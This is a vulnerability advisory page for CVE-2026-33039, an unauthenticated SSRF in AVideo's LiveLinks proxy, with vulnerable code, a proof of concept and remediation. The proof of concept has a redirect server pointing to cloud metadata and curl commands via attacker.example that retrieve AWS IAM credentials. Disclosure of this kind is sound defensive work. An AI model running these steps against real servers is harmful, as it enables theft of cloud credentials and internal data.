Skip to content

GHSA-9x67-f2v7-63rw CVE-2026-33039

AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy

High Packagist
Severity
8.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.46%
Chance of exploitation in the next 30 days. Higher than 40.00% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
None yet
No fixed version published

Description

Summary

The plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.

Affected Component

  • plugin/LiveLinks/proxy.php — lines 38-42 (redirect handling without SSRF re-validation)
  • objects/functionsBrowser.php — fakeBrowser() (line 123, raw cURL fetch with no SSRF protections)

Description

Missing SSRF re-validation after HTTP redirect

The proxy.php endpoint validates the user-supplied livelink parameter against internal networks on line 18, using the comprehensive isSSRFSafeURL() function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling get_headers() on line 38 — which follows HTTP redirects — the code extracts the Location header and passes it directly to fakeBrowser() without re-applying the SSRF check:

// plugin/LiveLinks/proxy.php — lines 17-42

// SSRF Protection: Block requests to internal/private networks
if (!isSSRFSafeURL($_GET['livelink'])) {                    // line 18: only checks initial URL
    _error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']);
    echo "Access denied: URL targets restricted network";
    exit;
}

// ... stream context setup ...

$headers = get_headers($_GET['livelink'], 1, $context);      // line 38: follows redirects
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];                 // line 40: attacker-controlled redirect target
    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);                 // line 42: fetches internal URL, NO SSRF check
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}

No SSRF protections in fakeBrowser()

The fakeBrowser() function in objects/functionsBrowser.php performs a raw cURL GET with no URL validation:

// objects/functionsBrowser.php — lines 123-141
function fakeBrowser($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

No IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally.

Endpoint is fully unauthenticated

The file begins by explicitly opting out of database and session initialization:

$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
require_once '../../videos/configuration.php';

There is no .htaccess rule restricting access to proxy.php, and the root .htaccess confirms the plugin directory is routable (line 248: RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2).

Inconsistent defense pattern

The codebase demonstrates awareness of SSRF risks — isSSRFSafeURL() is used in 5 other locations (aVideoEncoder.json.php:303, aVideoEncoderReceiveImage.json.php:67,107,135,160, AI/receiveAsync.json.php:177). However, none of these callers deal with HTTP redirects. The proxy.php endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.

Double SSRF exposure

There are actually two SSRF requests in the redirect path:

  1. get_headers() (line 38) follows the redirect to the internal IP to fetch response headers
  2. fakeBrowser() (line 42) fetches the full response body from the internal IP

The second is more impactful as it returns the full content to the attacker.

Proof of Concept

Step 1: Set up an attacker-controlled server that returns a 302 redirect to an internal target:

# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

Step 2: Send the request to the target AVideo instance:

curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect"

Expected result: The response will contain the cloud metadata listing (e.g., ami-id, instance-id, iam/) prefixed with http://169.254.169.254: on each line. The attacker strips the prefix to recover the original metadata content.

Step 3: Escalate to IAM credential theft:

# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam"

This returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) that can be used to access cloud resources.

Impact

  • Cloud metadata exposure: Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials
  • Internal network scanning: Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure
  • Internal service data exfiltration: Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker
  • No authentication required: The attack is fully unauthenticated, requiring only network access to the AVideo instance

Recommended Remediation

Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)

Apply the same SSRF check to the redirect URL before fetching it:

$headers = get_headers($_GET['livelink'], 1, $context);
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];

    // Re-validate redirect target against SSRF
    if (!isSSRFSafeURL($_GET['livelink'])) {
        _error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['livelink']);
        echo "Access denied: Redirect URL targets restricted network";
        exit;
    }

    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}

Option 2: Disable redirect following in get_headers()

Prevent get_headers() from following redirects entirely by adding follow_location to the stream context:

$options = array(
    'http' => array(
        'user_agent' => '...',
        'method' => 'GET',
        'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\r\n"),
        'follow_location' => 0,  // Do not follow redirects
        'max_redirects' => 0,
    )
);

Then validate the Location header with isSSRFSafeURL() before following it manually. This approach prevents the get_headers() call itself from performing SSRF via the redirect.

Note: Option 1 is simpler but still allows get_headers() to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 25.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 8.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-793q-xgj6-7frp
WWBN AVideo has an incomplete fix for CVE-2026-33039: SSRF
Medium Linked by the source
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor